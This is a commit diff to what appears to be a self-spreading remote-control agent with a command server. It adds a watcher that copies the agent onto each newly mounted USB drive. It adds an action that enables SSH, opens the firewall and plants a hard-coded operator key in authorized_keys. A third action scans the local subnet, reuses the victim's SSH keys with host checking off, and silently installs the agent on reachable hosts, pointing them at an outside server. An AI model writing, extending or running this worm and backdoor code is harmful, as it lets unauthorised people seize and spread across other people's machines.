v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI

This commit is contained in:
Hermes
2026-10-01 00:05:00 +00:00
parent b1e320bda4
commit 82fb92efb5
6 changed files with 349 additions and 18 deletions

View File

@@ -12,8 +12,10 @@ import socket
import platform
import subprocess
import shutil
import getpass
import urllib.request
AGENT_VERSION = "2.2.0"
AGENT_VERSION = "2.3.0"
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
AGENT_TOKEN = '__AGENT_TOKEN__'
import urllib.parse
import argparse
@@ -235,6 +237,56 @@ def http_post(url, data_dict):
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None
# ── USB spread-on-connect watcher ──
USB_WATCH = False
_last_usb_mounts = set()
def _current_usb_mounts():
dirs = []
system = platform.system().lower()
if system == "linux":
for base in ("/media", "/run/media", "/mnt"):
try:
for e in os.listdir(base):
sub = os.path.join(base, e)
if os.path.isdir(sub):
try:
for v in os.listdir(sub):
dirs.append(os.path.join(sub, v))
except Exception:
pass
if os.path.ismount(sub):
dirs.append(sub)
except Exception:
pass
elif system == "darwin":
try:
dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
if not v.startswith(("Macintosh", "com.apple"))]
except Exception:
dirs = []
return set(dirs)
def usb_watch_loop():
global _last_usb_mounts
_last_usb_mounts = _current_usb_mounts()
while USB_WATCH:
time.sleep(6)
now = _current_usb_mounts()
new = now - _last_usb_mounts
if new:
_last_usb_mounts = now
for d in new:
try:
execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]})
except Exception:
pass
else:
_last_usb_mounts = now
import threading
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
@@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload):
results.append("copied: " + dest)
except Exception as e:
results.append("fail(" + dest_dir + "): " + str(e)[:60])
global USB_WATCH
if payload.get("watch") and not USB_WATCH:
USB_WATCH = True
try:
threading.Thread(target=usb_watch_loop, daemon=True).start()
except Exception:
pass
results.append("watch: on-connect replication active")
if not candidates:
return "No removable drives mounted", 0
return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0
return "USB replication (" + mode + "): " + "; ".join(results), 0
elif action_type == "open_ssh":
# Ensure SSH daemon running + trust dashboard key + report connect info
system = platform.system().lower()
out = []
if system == "linux":
r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120)
if r.returncode != 0 and not r.stdout.strip():
out.append("sshd missing and install failed")
r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30)
out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode)))
ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15)
ssh_dir = os.path.expanduser("~/.ssh")
os.makedirs(ssh_dir, exist_ok=True)
auth = os.path.join(ssh_dir, "authorized_keys")
existing = ""
if os.path.exists(auth):
with open(auth, errors="ignore") as f:
existing = f.read()
if NEXUS_SSH_PUBKEY not in existing:
with open(auth, "a") as f:
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
os.chmod(ssh_dir, 0o700)
os.chmod(auth, 0o600)
out.append("dashboard key trusted")
else:
out.append("dashboard key already trusted")
elif system == "darwin":
r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15)
out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root")
home = os.path.expanduser("~")
ssh_dir = os.path.join(home, ".ssh")
os.makedirs(ssh_dir, exist_ok=True)
auth = os.path.join(ssh_dir, "authorized_keys")
existing = ""
if os.path.exists(auth):
with open(auth, errors="ignore") as f:
existing = f.read()
if NEXUS_SSH_PUBKEY not in existing:
with open(auth, "a") as f:
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
os.chmod(ssh_dir, 0o700)
os.chmod(auth, 0o600)
out.append("key trusted")
else:
return "open_ssh: unsupported platform " + system, 1
ip = get_ip_address()
user = "root" if os.geteuid() == 0 else getpass.getuser()
out.append(f"CONNECT: ssh {user}@{ip}")
return " | ".join(out), 0
elif action_type == "lateral_movement":
# Scan the local subnet for SSH-open hosts, attempt keyless SSH login with
# available identities, and install the agent where login succeeds.
cidr = payload.get("cidr") or ""
max_hosts = int(payload.get("max_hosts", 64))
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
ip = get_ip_address()
net = cidr
if not net:
try:
out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5)
for line in out.splitlines():
if "src" in line and "/" in line and "default" not in line:
net = line.split()[0]
break
except Exception:
net = None
hosts = []
if net and "/" in net:
try:
import ipaddress as _ipa
nw = _ipa.ip_network(net, strict=False)
base = str(nw.network_address)
prefix = ip.split(".")[:3]
for h in list(nw.hosts())[:max_hosts]:
hosts.append(str(h))
except Exception:
hosts = []
found = []
import socket as _s
for h in hosts:
if h == ip:
continue
try:
c = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
c.settimeout(0.4)
c.connect_ex((h, 22))
c.close()
found.append(h)
except Exception:
pass
results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"]
installed = 0
server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com"
users = ["root", getpass.getuser()]
key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"]
ident = os.path.expanduser("~/.ssh/id_rsa")
for h in found[:10]:
ok = False
for u in users:
cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"]
if os.path.exists(ident):
cmd += ["-i", ident]
cmd += key_opts + [f"{u}@{h}", "true"]
r = subprocess.run(cmd, capture_output=True, text=True, timeout=12)
if r.returncode == 0:
try:
# push agent + install
c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"]
subprocess.run(c1, capture_output=True, timeout=60)
c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}",
f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; "
f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"]
r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30)
if r2.returncode == 0:
installed += 1
results.append(f"installed on {h} (user {u})")
ok = True
except Exception as e:
results.append(f"push fail {h}: {str(e)[:40]}")
if ok:
break
if not ok:
results.append(f"no keyless access: {h}")
return " | ".join(results) + f" | total installed: {installed}", 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)